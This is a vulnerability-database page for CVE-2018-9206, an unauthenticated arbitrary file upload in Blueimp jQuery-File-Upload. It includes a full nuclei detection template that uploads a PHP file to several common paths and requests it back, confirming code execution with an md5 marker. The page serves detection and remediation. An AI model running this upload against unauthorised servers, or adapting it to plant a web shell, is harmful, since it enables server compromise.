HexBrain

Browse / CVEs / CVE-2018-9206

CVE-2018-9206· CWE-434

Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload

criticalseverity
9.8CVSS score
97.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication.

Impact

Attackers can upload malicious files, potentially leading to remote code execution or server compromise.

Fix

Update to the latest version of Blueimp jQuery-File-Upload.

How to confirm it

Send: POST {{path}} ; GET {{path}}/files/{{filename}}.php ; GET /files/{{filename}}.php
Positive when: contains(body, '{{md5(hash)}}') and status_code == 200

Run it with nuclei: nuclei -id CVE-2018-9206 -u <target>

The full check
id: CVE-2018-9206

info:
  name: Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload
  author: thewindghost
  severity: critical
  description: |
    Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication.
  impact: |
    Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
  remediation: |
    Update to the latest version of Blueimp jQuery-File-Upload.
  reference:
    - https://www.exploit-db.com/exploits/45790
    - https://www.exploit-db.com/exploits/46182/
    - https://github.com/blueimp/jQuery-File-Upload/pull/3514
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9206
    epss-score: 0.97255
    epss-percentile: 0.99897
    cwe-id: CWE-434
  metadata:
    verified: true
  tags: cve,cve2018,jquery,file-upload,rce,intrusive,vkev,vuln

variables:
  filename: "{{rand_text_alphanumeric(8)}}"
  hash: "CVE-2018-9206"

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="files[]"; filename="{{filename}}.php"
        Content-Type: application/x-php

        <?php echo md5("{{hash}}"); ?>
        ------WebKitFormBoundary{{randstr}}--

      - |
        GET {{path}}/files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}


      - |
        GET /files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "/jQuery-File-Upload/server/php/index.php"
        - "/jquery-file-upload/server/php/index.php"
        - "/server/php/upload.class.php"
        - "/server/php/UploadHandler.php"
        - "/example/upload.php"
        - "/php/index.php"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "contains(body, '{{md5(hash)}}')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from